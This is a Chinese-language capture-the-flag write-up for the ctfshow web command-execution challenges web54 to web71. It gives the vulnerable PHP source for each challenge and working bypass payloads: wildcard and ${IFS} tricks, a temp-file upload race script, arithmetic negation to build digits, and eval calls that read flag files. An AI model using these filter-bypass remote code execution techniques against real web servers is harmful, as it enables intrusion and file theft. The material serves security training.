[ctfshow]web入门——命令执行(web54-web71)
文章目录
system过滤
web54
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|`|%|x09|x26|>|</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
利用通配符?
paload
/?c=rev${IFS}fl?g.php
/?c=/bin/?at${IFS}f???????
web55
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|[a-z]|`|%|x09|x26|>|</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
payload
/bin/base64 flag.php
/?c=/???/????64 ????????
还可以用上传临时文件的方法,见下一题
web56
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|[a-z]|[0-9]|\$|(|{|'|"|`|%|x09|x26|>|</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
无数字字母的rce,上传临时文件,原理:link
py脚本:
import requests
url="http://63212fe8-01b7-4867-ab04-458e8e1a39fb.challenge.ctf.show/?c=. /???/????????[@-[]"
files={'file':'ls'}
for i in range(1000):
response=requests.post(url,files=files)
html = response.text
print(html)
files={'file':'cat flag.php'}
web57
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|[a-z]|[0-9]|`||#|'|"|`|%|x09|x26|x0a|>|<|.|,|?|*|-|=|[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
payload
/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
https://blog.csdn.net/qq_46091464/article/details/108563368
原理是:
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36在进行取反注意的是:${_}会输出上一次的执行结果
disabled function绕过
web58
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
c=var_dump(scandir('.'));
c=var_dump(file_get_contents('flag.php'));
web59
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
payload
c=var_dump(scandir('.'));
c=highlight_file('flag.php');
web60
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
payload同上
web61
web62
web63
web64
绷不住了
web65
wbe66
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
payload
c=var_dump(scandir('/'));
c=highlight_file('/flag.txt');
web67
web68
笑死我了,源码都不给了
还可以包含读
c=include('/flag.txt');
web69
web70
web71
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
执行php代码让后面的匹配缓冲区不执行直接退出
payload:
c=include('/flag.txt');exit();